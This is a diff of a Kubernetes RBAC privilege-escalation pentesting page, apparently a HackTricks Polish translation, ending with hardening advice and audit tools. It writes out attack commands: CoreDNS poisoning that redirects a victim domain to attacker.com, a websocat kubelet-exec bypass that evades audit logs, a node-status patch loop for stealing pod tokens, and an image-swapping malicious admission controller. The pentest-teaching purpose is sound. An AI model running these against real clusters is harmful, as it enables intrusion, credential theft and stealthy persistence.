|
||||
> Możesz użyć **`aws-auth`** do **persistence**, przyznając dostęp użytkownikom z **innych kont**.
|
||||
>
|
||||
> Jednak `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nie działa z innego konta**. Ale właściwie `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli wstawisz ARN klastra zamiast samej nazwy.\
|
||||
> Aby `kubectl` działał, upewnij się, że **skonfigurujesz** **kubeconfig ofiary** i w argumentach exec aws dodaj `--profile other_account_role`, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktu z AWS.
|
||||
> Jednak `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nie działa z innego konta**. Ale w rzeczywistości `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli podasz ARN klastra zamiast samej nazwy.\
|
||||
> Aby `kubectl` działał, upewnij się, że skonfigurowałeś **victims kubeconfig** i w aws exec args dodaj `--profile other_account_role`, dzięki czemu kubectl będzie używał profilu innego konta do pobrania tokena i komunikacji z AWS.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w przestrzeni nazw `kube-system`, możesz zmodyfikować adresy, do których będą rozwiązywane domeny, aby móc przeprowadzać ataki MitM w celu **kradzieży wrażliwych informacji lub wstrzykiwania złośliwej treści**.
|
||||
Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w namespace `kube-system`, możesz zmienić adresy, na które będą rozwiązywane domeny, aby przeprowadzić ataki MitM, których celem będzie **kradzież wrażliwych informacji lub wstrzyknięcie złośliwej zawartości**.
|
||||
|
||||
Potrzebne czasowniki to **`update`** i **`patch`** dla **`coredns`** configmap (lub wszystkich config maps).
|
||||
Wymagane operacje to **`update`** i **`patch`** na **`coredns`** configmap (lub na wszystkich config maps).
|
||||
|
||||
Zwykły **plik coredns** zawiera coś takiego:
|
||||
Standardowy plik **coredns** wygląda mniej więcej tak:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -579,58 +582,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Atakujący mógłby pobrać to, uruchamiając `kubectl get configmap coredns -n kube-system -o yaml`, zmodyfikować, dodając coś takiego jak `rewrite name victim.com attacker.com`, aby za każdym razem, gdy uzyskiwany jest dostęp do `victim.com`, w rzeczywistości dostęp byłby do `attacker.com`. Następnie można to zastosować, uruchamiając `kubectl apply -f poison_dns.yaml`.
|
||||
An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Inną opcją jest po prostu edytowanie pliku, uruchamiając `kubectl edit configmap coredns -n kube-system` i wprowadzając zmiany.
|
||||
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
|
||||
|
||||
### Eskalacja w GKE
|
||||
|
||||
Są **2 sposoby przypisania uprawnień K8s do podmiotów GCP**. W każdym przypadku podmiot musi również mieć uprawnienie **`container.clusters.get`**, aby móc zebrać dane uwierzytelniające do uzyskania dostępu do klastra, lub będziesz musiał **wygenerować własny plik konfiguracyjny kubectl** (postępuj zgodnie z następującym linkiem).
|
||||
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
|
||||
|
||||
> [!WARNING]
|
||||
> Rozmawiając z punktem końcowym API K8s, **token uwierzytelniający GCP zostanie wysłany**. Następnie GCP, poprzez punkt końcowy API K8s, najpierw **sprawdzi, czy podmiot** (po e-mailu) **ma jakikolwiek dostęp w klastrze**, a następnie sprawdzi, czy ma **jakikolwiek dostęp przez GCP IAM**.\
|
||||
> Jeśli **jakiekolwiek** z tych stwierdzeń jest **prawdziwe**, otrzyma **odpowiedź**. Jeśli **nie**, zostanie podany **błąd** sugerujący nadanie **uprawnień przez GCP IAM**.
|
||||
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
|
||||
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
|
||||
|
||||
Pierwsza metoda to użycie **GCP IAM**, uprawnienia K8s mają swoje **odpowiedniki w uprawnieniach GCP IAM**, a jeśli podmiot je ma, będzie mógł z nich korzystać.
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Drugą metodą jest **przypisanie uprawnień K8s wewnątrz klastra** poprzez identyfikację użytkownika po jego **e-mailu** (w tym konta serwisowe GCP).
|
||||
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
|
||||
|
||||
### Tworzenie tokena serviceaccounts
|
||||
|
||||
Podmioty, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas rozmowy z punktem końcowym API K8s SAs (informacje z [**tutaj**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Podmioty, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas komunikacji z K8s api endpoint dotyczącym SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Podmioty, które mogą **`update`** lub **`patch`** **`pods/ephemeralcontainers`**, mogą uzyskać **wykonanie kodu na innych podach**, a potencjalnie **wyjść** na ich węzeł, dodając kontener ephemerowy z uprzywilejowanym securityContext.
|
||||
Podmioty, które mogą **`update`** lub **`patch`** **`pods/ephemeralcontainers`** mogą uzyskać **wykonanie kodu w innych podach**, a potencjalnie **uciec** do ich node przez dodanie ephemeral container z privileged securityContext
|
||||
|
||||
### ValidatingWebhookConfigurations lub MutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
Podmioty z dowolnym z czasowników `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**.
|
||||
Podmioty mające dowolny z werbów `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**.
|
||||
|
||||
Dla [`mutatingwebhookconfigurations` przykładu sprawdź tę sekcję tego posta](#malicious-admission-controller).
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Eskalacja
|
||||
|
||||
Jak można przeczytać w następnej sekcji: [**Wbudowana zapobieganie eskalacji uprawnień**](#built-in-privileged-escalation-prevention), podmiot nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma **czasownik `escalate` lub `*`** nad **`roles`** lub **`clusterroles`** oraz odpowiednie opcje wiązania.\
|
||||
Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które posiada.
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
|
||||
### Proxy węzłów
|
||||
### Nodes proxy
|
||||
|
||||
Podmioty z dostępem do podzasobu **`nodes/proxy`** mogą **wykonywać kod na podach** za pośrednictwem API Kubelet (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Więcej informacji na temat uwierzytelniania Kubelet na tej stronie:
|
||||
Podmioty z dostępem do subresource **`nodes/proxy`** mogą **wykonywać kod w podach** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Masz przykład, jak uzyskać [**RCE rozmawiając autoryzowanym z API Kubelet tutaj**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
### Usuwanie podów + węzły nieschedulowalne
|
||||
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
|
||||
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
|
||||
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
|
||||
|
||||
Podmioty, które mogą **usuwać pody** (czasownik `delete` nad zasobem `pods`), lub **ewikować pody** (czasownik `create` nad zasobem `pods/eviction`), lub **zmieniać status poda** (dostęp do `pods/status`) i mogą **sprawić, że inne węzły będą nieschedulowalne** (dostęp do `nodes/status`) lub **usuwać węzły** (czasownik `delete` nad zasobem `nodes`) i mają kontrolę nad pod, mogą **kraść pody z innych węzłów**, aby były **wykonywane** w **skompromentowanym** **węźle**, a atakujący może **ukraść tokeny** z tych podów.
|
||||
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Użyj **adresu IP węzła**, nie nazwy węzła. To samo żądanie z `curl -X POST` będzie **zabronione**, ponieważ mapuje się na `create`.
|
||||
- Bezpośredni dostęp do kubeleta omija API server, więc AuditPolicy pokazuje tylko `subjectaccessreviews` z user agenta kubeleta i **nie loguje poleceń `pods/exec`**.
|
||||
- Wypisz dotknięte service accounts za pomocą [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), aby znaleźć tokeny ograniczone do `nodes/proxy` GET.
|
||||
|
||||
### Usuwanie pods + ustawianie węzłów jako unschedulable
|
||||
|
||||
Podmioty, które mogą **usunąć pods** (`delete` verb over `pods` resource), lub **evict pods** (`create` verb over `pods/eviction` resource), lub **zmienić status podów** (dostęp do `pods/status`) i które mogą **uczynić inne nodes unschedulable** (dostęp do `nodes/status`) lub **usuwać nodes** (`delete` verb over `nodes` resource) — i mają kontrolę nad pewnym podem — mogą przenieść pody z innych nodes tak, że zostaną one uruchomione na skompromitowanym węźle, a atakujący będzie mógł ukraść tokeny z tych podów.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -641,41 +661,41 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Status usług (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **niezałatany CVE-2020-8554** i przeprowadzić **ataki MiTM przeciwko klastrowi**. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **nienaprawiony CVE-2020-8554** i uruchomić **MiTM attacks** na klaster. Większość środków łagodzących dla CVE-2020-8554 zapobiega jedynie ExternalIP services (zgodnie z [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Status węzłów i podów
|
||||
### Nodes and Pods status
|
||||
|
||||
Podmioty z uprawnieniami **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą modyfikować etykiety, aby wpłynąć na wymuszone ograniczenia harmonogramowania.
|
||||
Podmioty posiadające uprawnienia **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą zmodyfikować etykiety, aby wpłynąć na wymuszane ograniczenia harmonogramowania.
|
||||
|
||||
## Wbudowana zapobieganie eskalacji uprawnień
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes ma [wbudowany mechanizm](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) zapobiegający eskalacji uprawnień.
|
||||
|
||||
System ten zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról**. Egzekwowanie tej zasady odbywa się na poziomie API, co stanowi zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny.
|
||||
System zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikowanie roles lub role bindings**. Egzekwowanie tej zasady odbywa się na poziomie API, zapewniając zabezpieczenie nawet gdy RBAC authorizer jest nieaktywny.
|
||||
|
||||
Zasada ta stanowi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola obejmuje**. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo w skali klastra dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub w skali klastra) dla Ról.
|
||||
Zasada mówi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola zawiera**. Co więcej, zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo ogólnoklastrowy dla ClusterRoles, albo ograniczony do tej samej namespace (lub ogólnoklastrowy) dla Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększyć uprawnienia ról i clusterroles, nawet nie mając tych uprawnień.
|
||||
> Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększać uprawnienia roles i clusterroles nawet bez posiadania tych uprawnień samodzielnie.
|
||||
|
||||
### **Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu wyjaśnionego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.**
|
||||
> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu opisanego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować roleboundingu, aby nadać sobie lub innemu SA pewne uprawnienia, jeśli ich już nie posiadasz.**
|
||||
|
||||
Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na **powiązanie ról z kontem usługi**. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.**
|
||||
Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi **związać roles z service account**. To uprawnienie może prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi przypisać uprawnienia administratora do przejętego service account.**
|
||||
|
||||
## Inne ataki
|
||||
## Other Attacks
|
||||
|
||||
### Aplikacja proxy sidecar
|
||||
### Sidecar proxy app
|
||||
|
||||
Domyślnie nie ma żadnego szyfrowania w komunikacji między podami. Wzajemna autoryzacja, dwukierunkowa, pod do pod.
|
||||
Domyślnie komunikacja między podami nie jest szyfrowana. Mutual authentication, two-way, pod to pod.
|
||||
|
||||
#### Utwórz aplikację proxy sidecar
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
Kontener sidecar polega po prostu na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**.
|
||||
Kontener sidecar polega na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**.
|
||||
|
||||
Na przykład, poniżej znajduje się część konfiguracji poda z 2 kontenerami:
|
||||
```yaml
|
||||
@@ -687,15 +707,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Na przykład, aby wprowadzić backdoora do istniejącego poda z nowym kontenerem, możesz po prostu dodać nowy kontener w specyfikacji. Zauważ, że możesz **dać więcej uprawnień** drugiemu kontenerowi, których pierwszy nie będzie miał.
|
||||
Na przykład, aby backdoor istniejący pod przez dodanie nowego container, możesz po prostu dodać nowy container w specyfikacji. Zauważ, że możesz **przyznać więcej uprawnień** drugiemu containerowi, których pierwszy nie będzie miał.
|
||||
|
||||
Więcej informacji na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
Więcej informacji: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Złośliwy Kontroler Przyjęć
|
||||
### Złośliwy Admission Controller
|
||||
|
||||
Kontroler przyjęć **przechwytuje żądania do serwera API Kubernetes** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania.
|
||||
admission controller **przechwytuje żądania do Kubernetes API server** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania.
|
||||
|
||||
Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Kontroler Przyjęć Mutacji**, będzie mógł **modyfikować już uwierzytelnione żądania**. Będzie miał potencjalnie możliwość eskalacji uprawnień, a zazwyczaj także utrzymania się w klastrze.
|
||||
Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Mutation Admission Controller**, będzie mógł **modyfikować już uwierzytelnione żądania**. Może to potencjalnie umożliwić privesc, a częściej pozwolić na utrwalenie się w klastrze.
|
||||
|
||||
**Przykład z** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -716,18 +736,18 @@ Następnie wdroż nowy pod:
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Kiedy widzisz błąd `ErrImagePull`, sprawdź nazwę obrazu za pomocą jednego z zapytań:
|
||||
Gdy zobaczysz błąd `ErrImagePull`, sprawdź nazwę obrazu za pomocą jednego z zapytań:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało!!?
|
||||
Jak widać na powyższym obrazku, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało?!
|
||||
|
||||
#### Techniczne szczegóły
|
||||
#### Szczegóły techniczne
|
||||
|
||||
Skrypt `./deploy.sh` ustanawia kontroler dostępu z mutującym webhookiem, który modyfikuje żądania do API Kubernetes zgodnie z określonymi w nim liniami konfiguracyjnymi, wpływając na zaobserwowane wyniki:
|
||||
Skrypt `./deploy.sh` ustanawia mutating webhook admission controller, który modyfikuje żądania do Kubernetes API zgodnie z wpisami w swojej konfiguracji, wpływając na obserwowane rezultaty:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -737,7 +757,7 @@ Value: "rewanthtammana/malicious-image",
|
||||
```
|
||||
Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewanthtammana/malicious-image`.
|
||||
|
||||
## Ominięcie OPA Gatekeeper
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
@@ -745,20 +765,20 @@ Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewa
|
||||
|
||||
## Najlepsze praktyki
|
||||
|
||||
### **Wyłączenie automatycznego montowania tokenów konta usługi**
|
||||
### **Wyłączanie automatycznego montowania tokenów konta serwisowego**
|
||||
|
||||
- **Pody i konta usługi**: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania.
|
||||
- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji konta usługi lub podów, począwszy od wersji Kubernetes 1.6.
|
||||
- **Pods i Service Accounts**: Domyślnie pody montują token konta serwisowego. Aby zwiększyć bezpieczeństwo, Kubernetes umożliwia wyłączenie tej funkcji automount.
|
||||
- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji kont serwisowych lub podów, począwszy od wersji Kubernetes 1.6.
|
||||
|
||||
### **Ograniczone przypisanie użytkowników w RoleBindings/ClusterRoleBindings**
|
||||
### **Ograniczone przypisywanie użytkowników w RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Selektywne włączenie**: Upewnij się, że tylko niezbędni użytkownicy są włączeni w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo.
|
||||
- **Selektywne uwzględnianie**: Upewnij się, że tylko niezbędni użytkownicy są uwzględnieni w RoleBindings lub ClusterRoleBindings. Regularnie przeprowadzaj audyt i usuwaj zbędnych użytkowników, aby utrzymać wysokie bezpieczeństwo.
|
||||
|
||||
### **Role specyficzne dla przestrzeni nazw zamiast ról ogólnych**
|
||||
### **Role specyficzne dla namespace zamiast ról na poziomie klastra**
|
||||
|
||||
- **Role vs. ClusterRoles**: Preferuj używanie ról i RoleBindings dla uprawnień specyficznych dla przestrzeni nazw, zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień.
|
||||
- **Roles vs. ClusterRoles**: Preferuj używanie Roles i RoleBindings dla uprawnień specyficznych dla namespace zamiast ClusterRoles i ClusterRoleBindings, które obowiązują w całym klastrze. Takie podejście daje dokładniejszą kontrolę i ogranicza zakres uprawnień.
|
||||
|
||||
### **Używaj narzędzi automatycznych**
|
||||
### **Używaj zautomatyzowanych narzędzi**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/cyberark/KubiScan
|
||||
@@ -772,12 +792,15 @@ https://github.com/aquasecurity/kube-hunter
|
||||
https://github.com/aquasecurity/kube-bench
|
||||
{{#endref}}
|
||||
|
||||
## **Referencje**
|
||||
## **Źródła**
|
||||
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+44
-40
@@ -1,24 +1,24 @@
|
||||
# Kubelet Authentication & Authorization
|
||||
# Kubelet Uwierzytelnianie i autoryzacja
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Uwierzytelnianie Kubeleta <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**Z dokumentacji:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzucane przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwa użytkownika `system:anonymous`** oraz **grupa `system:unauthenticated`**.
|
||||
Domyślnie żądania do punktu końcowego HTTPS kubeleta, które nie zostaną odrzucone przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwę użytkownika `system:anonymous`** oraz **grupę `system:unauthenticated`**.
|
||||
|
||||
**3** metody **uwierzytelniania** to:
|
||||
The **3** authentication **methods** are:
|
||||
|
||||
- **Anonimowe** (domyślnie): Użyj ustawienia parametru **`--anonymous-auth=true` lub konfiguracji:**
|
||||
- **Anonymous** (domyślnie): Ustaw parametr **`--anonymous-auth=true`** lub konfigurację:
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: To **włączyć** tokeny **API bearer** kubectl jako autoryzację (każdy ważny token będzie ważny). Włącz to za pomocą:
|
||||
- upewnij się, że grupa API `authentication.k8s.io/v1beta1` jest włączona w serwerze API
|
||||
- **Webhook**: To spowoduje **włączenie** kubectl **API bearer tokens** jako mechanizmu autoryzacji (każdy ważny token będzie akceptowany). Zezwól na to, wykonując:
|
||||
- upewnij się, że grupa API `authentication.k8s.io/v1beta1` jest włączona na serwerze API
|
||||
- uruchom kubelet z flagami **`--authentication-token-webhook`** i **`--kubeconfig`** lub użyj następującego ustawienia:
|
||||
```json
|
||||
"authentication": {
|
||||
@@ -28,11 +28,11 @@ Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzuc
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> Kubelet wywołuje **`TokenReview` API** na skonfigurowanym serwerze API, aby **określić informacje o użytkowniku** z tokenów typu bearer
|
||||
|
||||
- **Certyfikaty klienta X509:** Umożliwiają uwierzytelnianie za pomocą certyfikatów klienta X509
|
||||
- zobacz [dokumentację uwierzytelniania apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) po więcej szczegółów
|
||||
- uruchom kubelet z flagą `--client-ca-file`, podając pakiet CA do weryfikacji certyfikatów klienta. Lub z konfiguracją:
|
||||
> Kubelet wywołuje **`TokenReview` API** na skonfigurowanym serwerze API, aby **określić informacje o użytkowniku** z bearer tokens
|
||||
>
|
||||
- **X509 client certificates:** Pozwalają na uwierzytelnianie za pomocą certyfikatów klienta X509
|
||||
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
|
||||
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +40,16 @@ Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzuc
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Autoryzacja Kubeleta <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Każde żądanie, które zostało pomyślnie uwierzytelnione (w tym anonimowe żądanie) **jest następnie autoryzowane**. **Domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**.
|
||||
Każde żądanie, które zostanie pomyślnie uwierzytelnione (w tym żądanie anonimowe) **jest następnie autoryzowane**. **domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**.
|
||||
|
||||
Jednak inną możliwą wartością jest **`webhook`** (co jest tym, co **najczęściej znajdziesz na zewnątrz**). Ten tryb **sprawdzi uprawnienia uwierzytelnionego użytkownika**, aby zezwolić lub zabronić wykonania akcji.
|
||||
However, the other possible value is **`webhook`** (który jest tym, co **przeważnie spotkasz**). Ten tryb **sprawdza uprawnienia uwierzytelnionego użytkownika**, aby zezwolić lub odmówić wykonania akcji.
|
||||
|
||||
> [!WARNING]
|
||||
